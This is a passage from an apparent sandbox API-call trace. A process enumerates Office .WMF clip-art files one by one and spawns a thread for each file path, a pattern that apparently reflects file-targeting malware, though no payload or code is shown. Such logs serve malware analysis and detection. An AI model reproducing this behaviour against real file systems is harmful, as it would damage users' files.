[0208.348] wcscmp (_String1="BD18234_.WMF", _String2="..") returned 1 [0208.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43183080 [0208.348] wcscpy (in: _Dest=0x43183080, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.348] wcscat (in: _Dest=0x43183080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.348] wcscat (in: _Dest=0x43183080, _Source="BD18234_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" [0208.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef0 [0208.349] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0208.349] wcscmp (_String1="BD18235_.WMF", _String2=".") returned 1 [0208.349] wcscmp (_String1="BD18235_.WMF", _String2="..") returned 1 [0208.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43183120 [0208.349] wcscpy (in: _Dest=0x43183120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.349] wcscat (in: _Dest=0x43183120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.349] wcscat (in: _Dest=0x43183120, _Source="BD18235_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" [0208.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e08 [0208.350] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0208.350] wcscmp (_String1="BD18236_.WMF", _String2=".") returned 1 [0208.350] wcscmp (_String1="BD18236_.WMF", _String2="..") returned 1 [0208.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431831c0 [0208.350] wcscpy (in: _Dest=0x431831c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.350] wcscat (in: _Dest=0x431831c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.350] wcscat (in: _Dest=0x431831c0, _Source="BD18236_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" [0208.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431831c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e7c [0208.351] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0208.351] wcscmp (_String1="BD18237_.WMF", _String2=".") returned 1 [0208.351] wcscmp (_String1="BD18237_.WMF", _String2="..") returned 1 [0208.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43183260 [0208.351] wcscpy (in: _Dest=0x43183260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.351] wcscat (in: _Dest=0x43183260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.351] wcscat (in: _Dest=0x43183260, _Source="BD18237_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" [0208.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eb4 [0208.352] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0208.352] wcscmp (_String1="BD18238_.WMF", _String2=".") returned 1 [0208.352] wcscmp (_String1="BD18238_.WMF", _String2="..") returned 1 [0208.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43183300 [0208.352] wcscpy (in: _Dest=0x43183300, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.352] wcscat (in: _Dest=0x43183300, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.353] wcscat (in: _Dest=0x43183300, _Source="BD18238_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" [0208.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ebc [0208.354] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0208.354] wcscmp (_String1="BD18239_.WMF", _String2=".") returned 1 [0208.354] wcscmp (_String1="BD18239_.WMF", _String2="..") returned 1 [0208.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431833a0 [0208.354] wcscpy (in: _Dest=0x431833a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.354] wcscat (in: _Dest=0x431833a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.354] wcscat (in: _Dest=0x431833a0, _Source="BD18239_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" [0208.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431833a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f44 [0209.166] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0209.166] wcscmp (_String1="BD18241_.WMF", _String2=".") returned 1 [0209.166] wcscmp (_String1="BD18241_.WMF", _String2="..") returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184160 [0209.166] wcscpy (in: _Dest=0x43184160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.166] wcscat (in: _Dest=0x43184160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.166] wcscat (in: _Dest=0x43184160, _Source="BD18241_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" [0209.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c [0209.182] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0209.182] wcscmp (_String1="BD18242_.WMF", _String2=".") returned 1 [0209.182] wcscmp (_String1="BD18242_.WMF", _String2="..") returned 1 [0209.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b0f0 [0209.183] wcscpy (in: _Dest=0x2027b0f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.183] wcscat (in: _Dest=0x2027b0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.183] wcscat (in: _Dest=0x2027b0f0, _Source="BD18242_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" [0209.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1674 [0209.186] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0209.186] wcscmp (_String1="BD18243_.WMF", _String2=".") returned 1 [0209.186] wcscmp (_String1="BD18243_.WMF", _String2="..") returned 1 [0209.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027bcd0 [0209.187] wcscpy (in: _Dest=0x2027bcd0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.187] wcscat (in: _Dest=0x2027bcd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.187] wcscat (in: _Dest=0x2027bcd0, _Source="BD18243_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" [0209.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b40 [0209.188] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0209.188] wcscmp (_String1="BD18244_.WMF", _String2=".") returned 1 [0209.188] wcscmp (_String1="BD18244_.WMF", _String2="..") returned 1 [0209.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b190 [0209.188] wcscpy (in: _Dest=0x2027b190, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.188] wcscat (in: _Dest=0x2027b190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.188] wcscat (in: _Dest=0x2027b190, _Source="BD18244_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" [0209.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ac [0209.189] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0209.189] wcscmp (_String1="BD18245_.WMF", _String2=".") returned 1 [0209.189] wcscmp (_String1="BD18245_.WMF", _String2="..") returned 1 [0209.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184200 [0209.189] wcscpy (in: _Dest=0x43184200, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.189] wcscat (in: _Dest=0x43184200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.189] wcscat (in: _Dest=0x43184200, _Source="BD18245_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" [0209.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2540 [0209.190] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0209.190] wcscmp (_String1="BD18246_.WMF", _String2=".") returned 1 [0209.190] wcscmp (_String1="BD18246_.WMF", _String2="..") returned 1 [0209.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431842a0 [0209.190] wcscpy (in: _Dest=0x431842a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.190] wcscat (in: _Dest=0x431842a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.190] wcscat (in: _Dest=0x431842a0, _Source="BD18246_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" [0209.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431842a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2544 [0209.191] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0209.191] wcscmp (_String1="BD18247_.WMF", _String2=".") returned 1 [0209.191] wcscmp (_String1="BD18247_.WMF", _String2="..") returned 1 [0209.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184340 [0209.191] wcscpy (in: _Dest=0x43184340, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.191] wcscat (in: _Dest=0x43184340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.191] wcscat (in: _Dest=0x43184340, _Source="BD18247_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" [0209.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43184340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2548 [0209.192] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0209.192] wcscmp (_String1="BD18248_.WMF", _String2=".") returned 1 [0209.192] wcscmp (_String1="BD18248_.WMF", _String2="..") returned 1 [0209.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431843e0 [0209.192] wcscpy (in: _Dest=0x431843e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.192] wcscat (in: _Dest=0x431843e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.192] wcscat (in: _Dest=0x431843e0, _Source="BD18248_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" [0209.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431843e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0209.193] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0209.193] wcscmp (_String1="BD18249_.WMF", _String2=".") returned 1 [0209.193] wcscmp (_String1="BD18249_.WMF", _String2="..") returned 1 [0209.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184480 [0209.193] wcscpy (in: _Dest=0x43184480, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0209.193] wcscat (in: _Dest=0x43184480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0209.193] wcscat (in: _Dest=0x43184480, _Source="BD18249_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" [0209.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, 